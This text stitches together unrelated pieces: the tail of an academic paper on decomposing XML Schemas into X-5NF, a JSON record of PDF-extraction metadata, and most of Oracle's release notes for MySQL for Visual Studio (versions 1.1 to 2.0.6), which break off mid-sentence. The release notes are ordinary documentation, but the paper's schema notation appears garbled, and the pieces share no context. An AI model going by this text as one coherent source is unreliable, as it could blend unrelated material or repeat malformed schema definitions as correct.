\text{element} \text{name = "Part_name" type = "string"}) \\ & \quad (: \text{element} \text{name = "Proj_name" type = "string"}) \\ & \quad (: \text{complexType}) \\ & \quad (: \text{complexType} \text{name = "X1"}) \\ & \quad (: \text{complexType} \text{name = "X2"}) \\ & \quad (: \text{complexType} \text{name = "X3"}) \end{align*} \] This shows how the SUPPLY, XML Schema with the join dependency is decomposed into three XML Schemas "X1", "X2", and "X3" that are each in X-5NF. Note that: The relational view of the XML Schemas "SUPPLY", "X1", "X2", and "X3" and the corresponding relation states can be illustrated in the following Figure: Suppose that the following additional constraint always holds: "whenever a supplier s supplies part p, and a project j uses part p, and the supplier s supplies at least one part to project j, then supplier s will also be supplying part p to project j". This constraint can be restated in other ways and specifies a join dependency JD(X_1, X_2, X_3) among the three projections X_1, X_2, and X_3 defined as following: \[ \begin{align*} \text{supply} & : \text{complexType} \text{name = "SUPPLY"} \\ & (: \text{sequence} \\ & \quad (: \text{element} \text{name = "Sname" type = "string"}) \\ & \quad (: \text{element} \text{name = "Part_name" type = "string"}) \\ & \quad (: \text{element} \text{name = "Proj_name" type = "string"}) \\ & \quad (: \text{complexType} \text{name = "X1"}) \\ & \quad (: \text{complexType} \text{name = "X2"}) \\ & \quad (: \text{complexType} \text{name = "X3"}) \\ & \quad (: \text{complexType}) \end{align*} \] REFERENCES AUTHORS Hosam F. El-Sofany is with the Department of Computer Science and Engineering, College of Engineering, Qatar University. Fayed M. Ghaleb is with the Department of Mathematics, Faculty of Science, Ain Shams University. Samir A. El-Seoud is with Princess Sumaya University for Technology, Amman, Jordan. Manuscript received March 10, 2010. Published as resubmitted by the authors May 22nd, 2010. iJAC – Volume 3, Issue 2, May 2010
{"Source-Url": "https://www.learntechlib.org/p/45701/article_45701.pdf", "len_cl100k_base": 10645, "olmocr-version": "0.1.53", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 39615, "total-output-tokens": 13567, "length": "2e13", "weborganizer": {"__label__adult": 0.0004677772521972656, "__label__art_design": 0.0010738372802734375, "__label__crime_law": 0.0006389617919921875, "__label__education_jobs": 0.028472900390625, "__label__entertainment": 0.00015842914581298828, "__label__fashion_beauty": 0.0003483295440673828, "__label__finance_business": 0.0011119842529296875, "__label__food_dining": 0.00058746337890625, "__label__games": 0.0006613731384277344, "__label__hardware": 0.001129150390625, "__label__health": 0.0012617111206054688, "__label__history": 0.0007419586181640625, "__label__home_hobbies": 0.0002598762512207031, "__label__industrial": 0.0009975433349609375, "__label__literature": 0.0012149810791015625, "__label__politics": 0.0004494190216064453, "__label__religion": 0.0008082389831542969, "__label__science_tech": 0.293701171875, "__label__social_life": 0.00033402442932128906, "__label__software": 0.0298919677734375, "__label__software_dev": 0.63427734375, "__label__sports_fitness": 0.0002772808074951172, "__label__transportation": 0.0008296966552734375, "__label__travel": 0.00032401084899902344}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 39860, 0.0262]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 39860, 0.79009]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 39860, 0.7613]], "google_gemma-3-12b-it_contains_pii": [[0, 5501, false], [5501, 9527, null], [9527, 15242, null], [15242, 17936, null], [17936, 23627, null], [23627, 25295, null], [25295, 28815, null], [28815, 31794, null], [31794, 35434, null], [35434, 39860, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5501, true], [5501, 9527, null], [9527, 15242, null], [15242, 17936, null], [17936, 23627, null], [23627, 25295, null], [25295, 28815, null], [28815, 31794, null], [31794, 35434, null], [35434, 39860, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 39860, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 39860, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 39860, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 39860, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 39860, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 39860, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 39860, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 39860, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 39860, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 39860, null]], "pdf_page_numbers": [[0, 5501, 1], [5501, 9527, 2], [9527, 15242, 3], [15242, 17936, 4], [17936, 23627, 5], [23627, 25295, 6], [25295, 28815, 7], [28815, 31794, 8], [31794, 35434, 9], [35434, 39860, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 39860, 0.0]]}
olmocr_science_pdfs
2024-12-07
2024-12-07
514334bedca656f653f6c1afb0186e0acddca181
MySQL for Visual Studio Release Notes Abstract This document contains release notes for the changes in each release of MySQL for Visual Studio. For additional MySQL for Visual Studio documentation, see MySQL for Visual Studio. Updates to these notes occur as new product features are added, so that everybody can follow the development process. If a recent version is listed here that you cannot find on the download page (https://dev.mysql.com/downloads/), the version has not yet been released. The documentation included in source and binary distributions may not be fully up to date with respect to release note entries because integration of the documentation occurs at release build time. For the most up-to-date release notes, please refer to the online documentation instead. For legal information, see the Legal Notices. For help with using MySQL, please visit the MySQL Forums, where you can discuss your issues with other MySQL users. Document generated on: 2020-12-22 (revision: 21655) Table of Contents Preface and Legal Notices ................................................................. 2 Changes in MySQL for Visual Studio 2.0 ......................................................... 3 Changes in MySQL for Visual Studio 2.0.6 (Not yet released) .......................... 3 Changes in MySQL for Visual Studio 2.0.5 (2017-04-25, Development Milestone) 3 Changes in MySQL for Visual Studio 2.0.4 (2016-10-06, Development Milestone) 4 Changes in MySQL for Visual Studio 2.0.3 (2016-07-01, Development Milestone) 6 Changes in MySQL for Visual Studio 2.0.2 (2016-04-11, Development Milestone) 7 Changes in MySQL for Visual Studio 2.0.1 (Not released, Internal) ...................... 7 Changes in MySQL for Visual Studio 2.0.0 (Not released, Internal) ....................... 8 Changes in MySQL for Visual Studio 1.2 ...................................................... 8 Changes in MySQL for Visual Studio 1.2.9 (2019-10-21, General Availability) ........ 8 Changes in MySQL for Visual Studio 1.2.8 (2018-04-30, General Availability) ........ 9 Changes in MySQL for Visual Studio 1.2.7 (2017-04-10, General Availability) .......... 10 Changes in MySQL for Visual Studio 1.2.6 (2016-01-07, General Availability) .......... 10 Changes in MySQL for Visual Studio 1.2.5 (2015-10-29, General Availability) .......... 10 Changes in MySQL for Visual Studio 1.2.4 (2015-07-28, General Availability) .......... 11 Changes in MySQL for Visual Studio 1.2.3 (2014-08-06, General Availability) .......... 11 Changes in MySQL for Visual Studio 1.2.2 (2014-07-15, Release Candidate) ............ 12 Changes in MySQL for Visual Studio 1.2.1 (2014-07-01, Beta) ......................... 12 Changes in MySQL for Visual Studio 1.2.0 (2014-04-21, Alpha) ........................ 12 Changes in MySQL for Visual Studio 1.1 ...................................................... 13 Changes in MySQL for Visual Studio 1.1.4 (2014-03-10, General Availability) .......... 13 Changes in MySQL for Visual Studio 1.1.3 (2014-01-14, General Availability) .......... 14 Changes in MySQL for Visual Studio 1.1.2 (Not released, Internal, Release Candidate) 14 Changes in MySQL for Visual Studio 1.1.1 (Not released, Internal, Beta) ................ 14 Changes in MySQL for Visual Studio 1.1.0 (Not released, Internal, Alpha) ............... 15 MySQL Visual Studio Plugin Release Notes ................................................. 15 Changes in MySQL Visual Studio Plugin 1.0.1 (2006-10-04) ............................ 15 Preface and Legal Notices This document contains release notes for the changes in each release of MySQL for Visual Studio. Legal Notices Copyright © 1997, 2021, Oracle and/or its affiliates. This software and related documentation are provided under a license agreement containing restrictions on use and disclosure and are protected by intellectual property laws. Except as expressly permitted in your license agreement or allowed by law, you may not use, copy, reproduce, translate, broadcast, modify, license, transmit, distribute, exhibit, perform, publish, or display any part, in any form, or by any means. Reverse engineering, disassembly, or decompilation of this software, unless required by law for interoperability, is prohibited. The information contained herein is subject to change without notice and is not warranted to be error-free. If you find any errors, please report them to us in writing. If this is software or related documentation that is delivered to the U.S. Government or anyone licensing it on behalf of the U.S. Government, then the following notice is applicable: U.S. GOVERNMENT END USERS: Oracle programs (including any operating system, integrated software, any programs embedded, installed or activated on delivered hardware, and modifications of such programs) and Oracle computer documentation or other Oracle data delivered to or accessed by U.S. Government end users are "commercial computer software" or "commercial computer software documentation" pursuant to the applicable Federal Acquisition Regulation and agency-specific supplemental regulations. As such, the use, reproduction, duplication, release, display, disclosure, modification, preparation of derivative works, and/or adaptation of i) Oracle programs (including any operating system, integrated software, any programs embedded, installed or activated on delivered hardware, and modifications of such programs), ii) Oracle computer documentation and/or iii) other Oracle data, is subject to the rights and limitations specified in the license contained in the applicable contract. The terms governing the U.S. Government's use of Oracle cloud services are defined by the applicable contract for such services. No other rights are granted to the U.S. Government. This software or hardware is developed for general use in a variety of information management applications. It is not developed or intended for use in any inherently dangerous applications, including applications that may create a risk of personal injury. If you use this software or hardware in dangerous applications, then you shall be responsible to take all appropriate fail-safe, backup, redundancy, and other measures to ensure its safe use. Oracle Corporation and its affiliates disclaim any liability for any damages caused by use of this software or hardware in dangerous applications. Oracle and Java are registered trademarks of Oracle and/or its affiliates. Other names may be trademarks of their respective owners. Intel and Intel Inside are trademarks or registered trademarks of Intel Corporation. All SPARC trademarks are used under license and are trademarks or registered trademarks of SPARC International, Inc. AMD, Epyc, and the AMD logo are trademarks or registered trademarks of Advanced Micro Devices. UNIX is a registered trademark of The Open Group. This software or hardware and documentation may provide access to or information about content, products, and services from third parties. Oracle Corporation and its affiliates are not responsible for and expressly disclaim all warranties of any kind with respect to third-party content, products, and services unless otherwise set forth in an applicable agreement between you and Oracle. Oracle Corporation and its affiliates will not be responsible for any loss, costs, or damages incurred due to your access to or use of third-party content, products, or services, except as set forth in an applicable agreement between you and Oracle. This documentation is NOT distributed under a GPL license. Use of this documentation is subject to the following terms: You may create a printed copy of this documentation solely for your own personal use. Conversion to other formats is allowed as long as the actual content is not altered or edited in any way. You shall not publish or distribute this documentation in any form or on any media, except if you distribute the documentation in a manner similar to how Oracle disseminates it (that is, electronically for download on a Web site with the software) or on a CD-ROM or similar medium, provided however that the documentation is disseminated together with the software on the same medium. Any other use, such as any dissemination of printed copies or use of this documentation, in whole or in part, in another publication, requires the prior written consent from an authorized representative of Oracle. Oracle and/or its affiliates reserve any and all rights to this documentation not expressly granted above. Access to Oracle Support Oracle customers that have purchased support have access to electronic support through My Oracle Support. For information, visit https://www.oracle.com/corporate/accessibility/learning-support.html#support-tab. Changes in MySQL for Visual Studio 2.0 Changes in MySQL for Visual Studio 2.0.6 (Not yet released) Version 2.0.6 has no release notes, or they have not been published because the product version has not been released. Changes in MySQL for Visual Studio 2.0.5 (2017-04-25, Development Milestone) Known limitation of this release: MySQL Connections Manager does not save the changes made to the default schema when editing a connection. Use one of the following workarounds to resolve this limitation: • For new connections created with MySQL Connections Manager in which a default schema is specified, close MySQL Connections Manager and then reopen it. After performing this action, you can add the connection to the Microsoft Visual Studio Server Explorer. • For existing connections, set the default schema with MySQL Workbench. This release includes the following new functionality and bug fixes: • Functionality Added or Changed • Bugs Fixed Functionality Added or Changed • Removed Support for Microsoft Visual Studio 2010. • Added support for Microsoft Visual Studio 2017. • Added an output pane to the MySQL SQL Editor window. The new MySQL Output pane includes the information that previously appeared in the Messages tab. Bugs Fixed - The MySQL Data Export Tool exported data from the wrong schema when a second schema was selected and then deselected. In addition, all selected schemas were deselected when a single schema was deselected. (Bug #25713981, Bug #23666666) - Script files did not accept most keyboard input after the file was saved for the first time. (Bug #25713638, Bug #24751945) - The Field Type view in the result tab of an executed SQL query did not display field information correctly when the query included a schema name explicitly. (Bug #24601948, Bug #82882) - The `bit()` data type was incorrectly implemented as `bit(10)` for MySQL tables in the Table Designer window. (Bug #13477821) Changes in MySQL for Visual Studio 2.0.4 (2016-10-06, Development Milestone) - Functionality Added or Changed - Bugs Fixed Functionality Added or Changed - Enhanced the logic that migrates stored MySQL connections to the MySQL Workbench `connections.xml` file. In previous versions, the migration was offered and if not done at that moment, the dialog to migrate was shown every time the MySQL Connections Manager dialog was shown, but there was no way to choose to remain storing MySQL connections in the MySQL for Visual Studio configuration folder instead of merging them with MySQL Workbench. Now, the connection migration dialog offers a way to postpone the migration by either 1 hour, 1 day, 1 week, 1 month or indefinitely. If the migration is postponed, the dialog is shown again after that time elapses. If it is postponed indefinitely, then an option is added to the MySQL Connections Manager dialog that permits the connection migration to be done manually, as long as MySQL Workbench is installed. - When the MySQL Script Editor window is opened (either by selecting SQL, JavaScript, or Python from the New MySQL Script menu), the Results area was visible showing a big gray area in the editor, despite having nothing to display. Now, this area is hidden until results are ready to display, which happens after clicking Run. - The SQL syntax parser was updated to handle the optimizer hints that were introduced in MySQL 5.7.7. - The SQL editor was updated to check the syntax of a script before sending the statements to the server. If syntax errors are present, the Visual Studio Output pane displays the errors and the script is not executed. - A drop-down list of connections was added in the MySQL editor toolbar to enable fast switching among connections while editing SQL, JavaScript, and Python scripts. The list, located next to the Connect to MySQL button, shows all Server Explorer connections for the MySQL data provider with compatible protocol support. Note JavaScript and Python editors show only the connections that support the X Protocol. Bugs Fixed • MySQL Workbench was unable to open connections added from the MySQL Connection Manager, as executing them would emit the following error: "Cannot connect to Database Server". This is because an invalid "socket=." value was added to the connection definition. To solve this, MySQL for Visual Studio was updated to use the latest MySQL.Utility version, which fixes code in the MySQL Workbench class to only write the socket value into the XML nodes if the connection is of type Sockets or Pipe. (Bug #24666952) • After connections were added to the Server Explorer through the MySQL Connections Manager, clicking Refresh on the Server Explorer toolbar caused the refresh operation to hang, and nothing else could be done within the Server Explorer pane. Clicking Cancel Refresh was required to fix this. (Bug #24666931) • SHOW statements executed from the SQL editor failed to display the expected output. (Bug #24622881) • Queries executed from the SQL editor against nonunique data in NoSQL tables emitted error messages and failed to return result sets. (Bug #24462707, Bug #82589) • The main XML element in %APPDATA%\Oracle\MySQL For Visual Studio\settings.config was renamed to MySQLforVisualStudio from MySQLForExcel. Indentations were added to improve the overall readability of configuration settings. (Bug #24291264, Bug #82221) • JavaScript and Python editors permitted connections to versions of MySQL that did not support the X Protocol if those connections were unnamed or temporary, but the scripts did not work properly. This fix adds validation to ensure that all connections related to JavaScript and Python scripts are to servers with the X Plugin enabled. (Bug #24290570, Bug #82219) • Selecting the New MySQL Script context-menu option by right-clicking a Server Explorer connection in Visual Studio emitted an error if the connection was first closed and then opened. (Bug #24064816, Bug #82205) • Visual Studio was unable to open a design window for any selected table in a MySQL database. (Bug #23642010) • Opening a new MySQL script file from the Visual Studio File > New menu displayed the following error: "Object reference not set to an instance of an object". (Bug #23619311) • Processing a Result object from the X Protocol substituted an error or information message in place of some collection output. (Bug #22983803) • Advanced, Connect, and Cancel buttons were missing from the Connect to MySQL dialog for connections made from the script editor window. (Bug #22114315) • Dragging and dropping a table from the Server Explorer in Visual Studio to a project would fail with the following error: "Some updating commands could not be generated automatically. The database returned the following error: You have a usable connection already". After clicking OK, Visual Studio would emit the following error "Mouse drag operation failed. Could not retrieve schema information from table or view". To solve this issue, MySql.Data was updated to version 6.9.9. • From the Query Designer, selecting Verify SQL Syntax would always display "Not supported by the provider" instead of verifying the SQL syntax. • The Python code editor displayed session options for JavaScript instead of options for the Python language. • In some cases, selecting Retrieve Data for a table with a valid connection failed to populate the table with data. Changes in MySQL for Visual Studio 2.0.3 (2016-07-01, Development Milestone) Known limitation of this release: Some features such as the Entity Framework, and some Server Explorer functionality like drag and drop elements into a Dataset Designer, or Design Tables, do not function in this version. - Functionality Added or Changed - Bugs Fixed Functionality Added or Changed - Added an error handler to manage exceptions from MySQL Shell, and to display relevant information about the exceptions in the selected output. This includes the full error message from MySQL Shell, and extra validation in case it contains terms such as "undefined" or "null". - Added SSL support for MySQL connections that use the X Protocol. SSL support works with PEM files, so SSL connections need to be created through the "MySQL Connections Manager" in MySQL for Visual Studio, or from MySQL Workbench. - Added support for the following X DevAPI functions: parseUri() and isOpen(). - A new MySQL Output pane was added that contains a results grid view similar to the view found in MySQL Workbench. It contains the following data for executed statements: Success (with an icon if possible), Execution index (sequential), Execution Time, Query Text, Message (output from the server), and Duration / Fetch. This functionality is available for JavaScript and Python queries. - Added a console mode editor, where pressing Enter executes the code. - Added the ability to switch between "Batch" (execute multiple statements) and "Console" (execute each statement after pressing Enter) modes, from the Query Editor toolbar as a dropdown list. - A MySQL connection manager dialog was added to help fully manage MySQL connections. It supports connection sharing with MySQL Workbench, and supports create, edit, configure, and delete actions. MySQL connections created with the connection manager where the password is securely stored in the system's password vault functions with the Server Explorer in Visual Studio. The password is extracted from the password vault, and persists in the Server Explorer connections. Bugs Fixed - The "mysqlx" module was not imported properly to execute JavaScript queries. (Bug #23091964, Bug #81052) - After opening a valid MySQL connection and creating a new JavaScript MySQL script, disconnecting then reconnecting to the MySQL Server while changing the port to 33060 would fail. - MySQL for Visual Studio now shows a message stating that a SSL connection is required by the MySQL server if the require_secure_transport variable is set. - All script editors now display detailed information about the connection used. Before, the information was displayed in the toolbar as labels, but now all information is consolidated in a menu opened where the connection name is displayed. Additional information includes the connection method, host identifier, server version, user, and schema. - Output from executing JavaScript and Python commands were not visible unless the Output window was already opened. The Output window now automatically opens when executing commands. MySQL for Visual Studio Release Notes Changes in MySQL for Visual Studio 2.0.2 (2016-04-11, Development Milestone) MySQL for Visual Studio 2.0.2 M1 is the first development release of MySQL for Visual Studio to add support for the new X DevAPI. The X DevAPI enables application developers to write code that combines the strengths of the relational and document models using a modern, NoSQL-like syntax that does not assume previous experience writing traditional SQL. To learn more about how to write applications using the X DevAPI, see X DevAPI User Guide. For more information about how the X DevAPI is implemented in MySQL for Visual Studio, and its usage, see Code Editors. Known limitation of this release: SSL connections are not yet supported. - Functionality Added or Changed - Bugs Fixed Functionality Added or Changed - Updated the MySQL parser's grammar to include keywords introduced in MySQL 5.7. - Because the deprecated "File", "New", "Project", "Create a New Project", "Templates", "MySQL Files" option no longer exists, the resulting error is no longer present. In other words, the deprecated "MySQL Project Templates" were removed, in favor of "MySQL Item Templates". - Support for the "IF [NOT] EXISTS" clause for CREATE, DROP, and ALTER USER statements was added. - The JavaScript and Python editors now auto-detect the port for the X Protocol, and uses it to execute JavaScript and Python scripts. Before, it was hardcoded to 33060. Bugs Fixed - The New MySQL Script - Python option would not function with MySQL Server 5.7.9 and higher. The error was similar to "An error occurred when trying to launch a MySql Script window". - Minor optimizations to the script editor window. - The "New MySql Script" command bar button did not function. The error was similar to "An error occurred when trying to launch a MySql Script window". - The triple double quote """" used for multiline comments did not function correctly in the Python editor. - The JavaScript editor now only shows when working with connections using MySQL 5.7 and higher. - Opening an editor window for .mysql files that connected to MySQL Server versions lower than 5.6.6 would not function. - The Tree View in the Results tab did not display data headers. Changes in MySQL for Visual Studio 2.0.1 (Not released, Internal) Version 2.0.1 has no release notes, or they have not been published because the product version has not been released. Changes in MySQL for Visual Studio 2.0.0 (Not released, Internal) Version 2.0.0 has no release notes, or they have not been published because the product version has not been released. Changes in MySQL for Visual Studio 1.2 Changes in MySQL for Visual Studio 1.2.9 (2019-10-21, General Availability) • Functionality Added or Changed • Bugs Fixed Functionality Added or Changed • MySQL for Visual Studio now prompts for action when it detects any conflicts in its configuration files that were introduced after MySQL for Visual Studio was installed. Errors associated with this type of configuration conflict prevent the creation of data sources and table adapters. A new Configuration Update Tool can resolve the conflicts between Connector/NET and MySQL for Visual Studio libraries as they are detected (see MySQL for Visual Studio Configuration Update Tool). To complete the action, it is necessary to restart affected versions of Visual Studio manually after the tool finishes updating the files. (Bug #29884031, Bug #82617) • MySQL for Visual Studio now supports all editions of Microsoft Visual Studio 2019. In addition, this release removes support for Visual Studio versions 2012 and 2013. (Bug #29616463, Bug #94937) • The MySQL Website Configuration tool was renamed and extended to also automate entry updates to the app.config file (in addition to the web.config file). The newly renamed MySQL Application Configuration tool preserves the functionality used to simplify website development and now extends the configuration capabilities of the tool to manage dependencies required when running the Entity Data Model Wizard. (Bug #29490017) • Connections to MySQL using SSL PEM encryption or standard TCP/IP over SSH now are supported by MySQL for Visual Studio (see Making a Connection). Bugs Fixed • Several installation errors caused the wrong version or edition of Visual Studio to be identified, which then resulted in the deployment of MySQL for Visual Studio files to the wrong folder or to a file structure that represented multiple versions Visual Studio that were neither selected nor installed on the host computer. (Bug #30225436, Bug #96576) • A secondary window opened unexpectedly when a user with insufficient database privileges (GRANT SELECT and GRAN SHOW VIEW) attempted to alter the definition of an existing view. This fix introduces an error message to explain the condition in detail. (Bug #30001906) • From code, it was possible to create an instance of SqlDataSource, make a connection to a MySQL server, and then populate an ASP.NET control. However, attempting the same sequence using the Visual Studio Configure Data Source designer produced a object-reference error when the data source was being configured in the designer (and MySQL Connector/NET 6.10.8 was installed) and also at runtime of the web application. As part of a related fix, the data source now populates ASP.NET controls from custom queries as expected at runtime. Likewise, the designer now permits configuration when the 6.10.8 version of MySQL Connector/.NET is installed with one caution. When using the **Specify columns from a table or view** option, the Configure Data Source designer generates the query using bracket characters ( `[ ]`) as delimiters for identifiers, which produces an invalid MySQL statement. The brackets can be removed manually after the data source is created. Alternatively, the second option in the designer associated with generating queries from the data source, **Specify a custom SQL statement or stored procedure**, is the preferred option to use. (Bug #28148998, Bug #91136) - The TableAdapter Configuration Wizard in Visual Studio configured with a valid MySQL connection produced an error, instead of generating the expected TableAdapter. Now, the error condition is resolved when MySQL Connector/.NET 6.10.8 (or higher) or MySQL Connector/.NET 8.0.14 (or higher) are available for use by MySQL for Visual Studio. (Bug #27857627, Bug #90390) ### Changes in MySQL for Visual Studio 1.2.8 (2018-04-30, General Availability) - **Functionality Added or Changed** - **Bugs Fixed** #### Functionality Added or Changed - When Microsoft Visual Studio receives a request to register (or unregister) MySQL for Visual Studio within the IDE during the installation, Visual Studio might not execute the command properly if the host is running Windows 7. This fix identifies when Visual Studio does not register MySQL for Visual Studio as requested and then provides an alert to perform the registration manually from the Developer Command Prompt for Visual Studio using the following command: ``` devenv /updateconfiguration /log ``` (Bug #27365261, Bug #87902) - MySQL for Visual Studio now supports the MySQL 8.0 release series (requires Connector/.NET 6.9.12, 6.10.7, or 8.0.11) including: - MySQL data dictionary, which uses `INFORMATION_SCHEMA` tables rather than tables in the `mysql` database (see MySQL Data Dictionary). - The `caching_sha2_password` authentication plugin introduced in MySQL 8.0 (see Caching SHA-2 Pluggable Authentication). In addition, MySQL for Visual Studio now requires that .NET Framework 4.5.2 (or later) be installed for use within Visual Studio 2012 and Visual Studio 2013. #### Bugs Fixed - The Website Configuration Tool was unable to add an ADO.NET entity data model to an ADO.NET web application successfully. In addition to aligning the `web.config` file with the installed version of Connector/.NET, this fix also disables the Entity Framework 5 selection when the installed connector no longer includes a provider for EF5 (Connector/.NET 6.10 and higher). (Bug #27593219) - Queries made with a valid MySQL connection received no response from the server. (Bug #27584991) - When the MySQL for Visual Studio parser was unable to parse an SQL statement, it generated an unhandled exception that caused Visual Studio to exit unexpectedly. This fix enables the parser to handle exceptions properly and updates the parser to include support for `CREATE USER` syntax in the MySQL 8.0 release series. (Bug #27580303) • The version for the `MySQL.Web` assembly was incorrectly extracted, which prevented the assembly from loading properly and the MySQL Website Configuration Tool from launching. (Bug #27450530) • Attempting to open the MySQL Web Configuration Tool, with MySQL Connector/NET and MySQL for Visual Studio prerequisites installed properly, displayed an error message instead of opening the tool. (Bug #27365141, Bug #88570) **Changes in MySQL for Visual Studio 1.2.7 (2017-04-10, General Availability)** - Functionality Added or Changed - Bugs Fixed **Functionality Added or Changed** **Bugs Fixed** - The MySQL Data Export Tool exported data from the wrong schema when a second schema was selected and then deselected. In addition, all selected schemas were deselected when a single schema was deselected. (Bug #25713981, Bug #23666666) - Script files did not accept most keyboard input after the file was saved for the first time. (Bug #25713638, Bug #24751945) **Changes in MySQL for Visual Studio 1.2.6 (2016-01-07, General Availability)** **Bugs Fixed** - With MySQL for Visual Studio installed, attempting to create MSSQL connections would fail and throw an exception. (Bug #22122881, Bug #77441) - The `Tools, Extensions and Updates, Installed, Tools` window always reported "1.0.0" as the current MySQL for Visual Studio version number. (Bug #22114385) - Executing `Generate Database from Model` from an existing Entity Framework model would throw an exception related to an error with the T4 template file, when then aborted the creation of the database. The Connector/NET Entity Framework assembly (`MySql.Data.Entity.EF6.dll`) path was fixed in the MySQL T4 template file (`SSDLToMySQL.tt`). (Bug #20234532, Bug #74388) - With Visual Studio 2012, generating a database from a model would fail and throw an exception. However, clicking `OK` after the error would cause the action to succeed. (Bug #18181649) **Changes in MySQL for Visual Studio 1.2.5 (2015-10-29, General Availability)** **Known limitation:** Item templates do not work correctly with MySQL Server 5.7.x, as it prevents the creation of an Entity Framework model. - Functionality Added or Changed - Bugs Fixed Functionality Added or Changed - Project Templates were replaced with Item Templates. The **Project Templates** option was removed from the plugin toolbar, and from the Project menu, in order to add the **Item Templates** feature with two options: **MySQL MVC Item** and **MySQL Windows Forms Item**, which are available as a context menu for existing projects. They add new windows forms or MVC controllers/views connected to MySQL. - Added the **Entity Framework** option to the **MySQL Website Configuration** dialog for web projects, so Entity Framework version 5 or 6 can be used with a MySQL database provider. These automatically add the configuration/references needed to the `web.config` file and the project itself. Also, all available configuration options are now listed in the dialog. Bugs Fixed - The Installer could not uninstall MySQL for Visual Studio if Visual Studio was uninstalled first. (Bug #21953055, Bug #71226) - In v1.2.4, the **Launch Workbench** and **Open MySQL Utilities Console** toolbar buttons were disabled. (Bug #21495692) - The “Templates” could not be uninstalled via **Add/Remove Programs**. Because Project Templates were replaced by Item Templates, this is no longer a concern. (Bug #21488922, Bug #77802) - The dataset designer wizard was not showing the stored procedure parameters when creating a "TableAdapter" using existing stored procedures for the "Select" command. Also, the stored procedure command had an "error" thus causing the dataset to not be created. (Bug #20233133, Bug #74195) Changes in MySQL for Visual Studio 1.2.4 (2015-07-28, General Availability) This is a maintenance release that fixes bugs and adds support for Microsoft Visual Studio 2015. **Known limitations:** MySQL for Visual Studio project templates are designed to work with MVC 4, but Microsoft Visual Studio 2015 is the first VS version that ships with MVC 5. As a workaround for this release, you must install MVC 4 to get the project templates working with VS 2015. If MVC 4 is not installed, then the MySQL template menus and toolbars will be disabled. If MySQL for Visual Studio 1.2.4 is installed before MVC 4, then you must uninstall and then reinstall the 1.2.4 plugin. Executing a "Change" or "Repair" will not work. The **Launch Workbench** and **Launch MySQL Utilities** toolbar buttons are disabled in this release. **Bugs Fixed** - Added Microsoft Visual Studio 2015 support. (Bug #21438524, Bug #77708) - Removed Microsoft Visual Studio 2008 support. Changes in MySQL for Visual Studio 1.2.3 (2014-08-06, General Availability) This is the first GA release in the MySQL for Visual Studio 1.2 series, and it is a version suitable for production environments. - Functionality Added or Changed Functionality Added or Changed • A MySQL Simple Membership provider option was added to the web configuration tool. Bugs Fixed • Several DLL files were hardcoded with the version number "1.0.0.0" instead of using the current MySQL for Visual Studio value. (Bug #19209876) Changes in MySQL for Visual Studio 1.2.2 (2014-07-15, Release Candidate) This RC release of the 1.2.x branch improves the feature set that was added in the limited 1.2.x branch. This RC release should not be used in a production environment. Bugs Fixed • The MySQL ASP.NET MVC 3 Project Wizard, MySQL Windows Forms Project, and MySQL Website Configuration wizards were improved. • The MySQL Windows Forms Wizard now generates an application with multiple forms that include different types of views based on user customization. • Entity Framework 5 / 6 support was added when generating new MySQL projects. Changes in MySQL for Visual Studio 1.2.1 (2014-07-01, Beta) This beta release of the 1.2.x branch improves the feature set that was added in the limited 1.2.0 release. This beta release should not be used in a production environment. Bugs Fixed • The MySQL ASP.NET MVC 3 Project Wizard, MySQL Windows Forms Project, and MySQL Website Configuration wizards were improved. • The MySQL ASP.NET MVC 3 Project Wizard now generates browsable pages for all tables included in the Data Entity model. • A Create New MySQL Project dialog is now accessible from the MySQL Toolbar. • The name MySQL MVC 3 Template was changed to MySQL ASP.NET MVC 3 Project Wizard. Changes in MySQL for Visual Studio 1.2.0 (2014-04-21, Alpha) The first public release of the 1.2.x branch. This alpha release is not feature complete, has limitations, and should not be used in a production environment. Functionality Added or Changed • The MySQL Website Configuration wizard was updated to include an ASP.NET Web Personalization provider. This allows you to store personalization state data for the content and layout of Web Parts pages that are generated by the Web Parts personalization service using MySQL as a data source. This feature requires Connector/NET 6.9. • The MySQL Website Configuration wizard was updated to include an ASP.NET Site Map provider. This allows you to show a hierarchical list of links that describe the structure of a site. This feature requires Connector/NET 6.9. • A MySQL Windows Forms Project wizard was added, and is available from the Visual Studio New Project dialog. This wizard automates the generation of a simple .NET Windows Forms Application with a form that is connected to a MySQL data source. • A MySQL MVC 3 Template wizard was added, and is available from the Visual Studio New Project dialog. This wizard automates the generation of an ASP.NET application that includes a MySQL Membership configuration section, and can be set up to use a new or existing MySQL database. Optionally, the application can also use the MySQL Role and MySQL Profile providers. Changes in MySQL for Visual Studio 1.1 Changes in MySQL for Visual Studio 1.1.4 (2014-03-10, General Availability) This is a maintenance release for the MySQL for Visual Studio 1.1 series, and it is suitable for production environments. It is compatible with Connector/Net 6.8.3 and later, and it supports MySQL Server versions 5.0 to 5.6. • Functionality Added or Changed • Bugs Fixed Functionality Added or Changed • Introduced a new MySQL toolbar, which provides shortcuts to some of the main functionalities of MySQL for Visual Studio. See Enabling the MySQL Toolbar for details. Bugs Fixed • The MySQL parser did not recognize the full string literal syntax of \_charset_name\'string\' [COLLATE collation_name] as supported by the MySQL Server. This fix makes Connector/NET and MySQL for Visual Studio recognize the string literal syntax 